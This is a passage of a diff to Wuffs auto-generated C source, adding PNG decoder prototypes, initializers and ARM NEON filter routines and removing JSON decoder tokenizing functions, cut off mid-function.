-+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_gama( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_iccp( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_plte( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_srgb( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_trns( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__do_decode_frame_config( -+ wuffs_png__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__skip_frame( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__do_decode_frame( -+ wuffs_png__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__decode_pass( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__do_tell_me_more( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__filter_and_swizzle( -+ wuffs_png__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__filter_and_swizzle__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_png__decoder__filter_and_swizzle_tricky( -+ wuffs_png__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_png__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_png__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_png__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_png__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_png__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_png__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_png__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_png__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_png__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_png__decoder__initialize( -+ wuffs_png__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); - } - -- v_n = a_n; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if ( ! (a_src && a_src->meta.closed)) { -- v_n |= 768u; -- } -- break; -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); - } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if (0u == WUFFS_JSON__LUT_DECIMAL_DIGITS[v_c]) { -- break; -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } -- if (v_n >= 99u) { -- v_n |= 512u; -- break; -+ } -+ -+ self->private_impl.choosy_filter_1 = &wuffs_png__decoder__filter_1__choosy_default; -+ self->private_impl.choosy_filter_3 = &wuffs_png__decoder__filter_3__choosy_default; -+ self->private_impl.choosy_filter_4 = &wuffs_png__decoder__filter_4__choosy_default; -+ self->private_impl.choosy_filter_and_swizzle = &wuffs_png__decoder__filter_and_swizzle__choosy_default; -+ -+ { -+ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( -+ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; - } -- v_n += 1u; -- iop_a_src += 1u; - } -- if (v_n == a_n) { -- v_n |= 256u; -+ { -+ wuffs_base__status z = wuffs_zlib__decoder__initialize( -+ &self->private_data.f_zlib, sizeof(self->private_data.f_zlib), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } - } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_png__decoder* -+wuffs_png__decoder__alloc(void) { -+ wuffs_png__decoder* x = -+ (wuffs_png__decoder*)(calloc(1, sizeof(wuffs_png__decoder))); -+ if (!x) { -+ return NULL; - } -- return v_n; -+ if (wuffs_png__decoder__initialize( -+ x, sizeof(wuffs_png__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_png__decoder(void) { -+ return sizeof(wuffs_png__decoder); - } - --// -------- func json.decoder.decode_leading -+// ---------------- Function Implementations - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_leading( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+// ‼ WUFFS MULTI-FILE SECTION +arm_neon -+// -------- func png.decoder.filter_1_distance_4_arm_neon - -- uint8_t v_c = 0; -- uint32_t v_u = 0; -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_4_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ uint8x8_t v_fa = {0}; -+ uint8x8_t v_fx = {0}; - -- wuffs_base__token* iop_a_dst = NULL; -- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, v_fa); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, v_fa); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; - } -+ v_curr.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, v_fa); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ } -+ v_curr.len = 0; - } -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+// ‼ WUFFS MULTI-FILE SECTION -arm_neon - -- uint32_t coro_susp_point = self->private_impl.p_decode_leading[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// ‼ WUFFS MULTI-FILE SECTION +arm_neon -+// -------- func png.decoder.filter_3_distance_4_arm_neon - -- self->private_impl.f_allow_leading_ars = self->private_impl.f_quirks[15u]; -- self->private_impl.f_allow_leading_ubom = self->private_impl.f_quirks[16u]; -- while (self->private_impl.f_allow_leading_ars || self->private_impl.f_allow_leading_ubom) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3_distance_4_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint8x8_t v_fa = {0}; -+ uint8x8_t v_fb = {0}; -+ uint8x8_t v_fx = {0}; -+ -+ if (((uint64_t)(a_prev.len)) == 0u) { -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; - } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- break; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- continue; -+ v_curr.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; - } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if ((v_c == 30u) && self->private_impl.f_allow_leading_ars) { -- self->private_impl.f_allow_leading_ars = false; -- iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- continue; -- } else if ((v_c == 239u) && self->private_impl.f_allow_leading_ubom) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { -- if (a_src && a_src->meta.closed) { -- break; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- continue; -- } -- v_u = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -- if (v_u == 12565487u) { -- self->private_impl.f_allow_leading_ubom = false; -- iop_a_src += 3u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- continue; -- } -+ v_curr.len = 0; -+ } -+ } else { -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; - } -- break; -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- -- ok: -- self->private_impl.p_decode_leading[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_leading[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- -- return status; -+ return wuffs_base__make_empty_struct(); - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+// ‼ WUFFS MULTI-FILE SECTION -arm_neon - --// -------- func json.decoder.decode_comment -+// ‼ WUFFS MULTI-FILE SECTION +arm_neon -+// -------- func png.decoder.filter_4_distance_3_arm_neon - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_comment( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_c = 0; -- uint16_t v_c2 = 0; -- uint32_t v_length = 0; -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_3_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint8x8_t v_fa = {0}; -+ uint8x8_t v_fb = {0}; -+ uint8x8_t v_fc = {0}; -+ uint8x8_t v_fx = {0}; -+ uint16x8_t v_fafb = {0}; -+ uint16x8_t v_fcfc = {0}; -+ uint16x8_t v_pa = {0}; -+ uint16x8_t v_pb = {0}; -+ uint16x8_t v_pc = {0}; -+ uint16x8_t v_cmpab = {0}; -+ uint16x8_t v_cmpac = {0}; -+ uint8x8_t v_picka = {0}; -+ uint8x8_t v_pickb = {0}; - -- wuffs_base__token* iop_a_dst = NULL; -- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fc = v_fb; -+ v_fa = v_fx; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fc = v_fb; -+ v_fa = v_fx; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; - } -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fc = v_fb; -+ v_fa = v_fx; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ } -+ v_curr.len = 3; -+ v_prev.len = 3; -+ const uint8_t* i_end2_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); -+ while (v_curr.ptr < i_end2_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+// ‼ WUFFS MULTI-FILE SECTION -arm_neon - -- uint32_t coro_susp_point = self->private_impl.p_decode_comment[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// ‼ WUFFS MULTI-FILE SECTION +arm_neon -+// -------- func png.decoder.filter_4_distance_4_arm_neon - -- self->private_impl.f_comment_type = 0u; -- while ((((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) || (((uint64_t)(io2_a_src - iop_a_src)) <= 1u)) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- 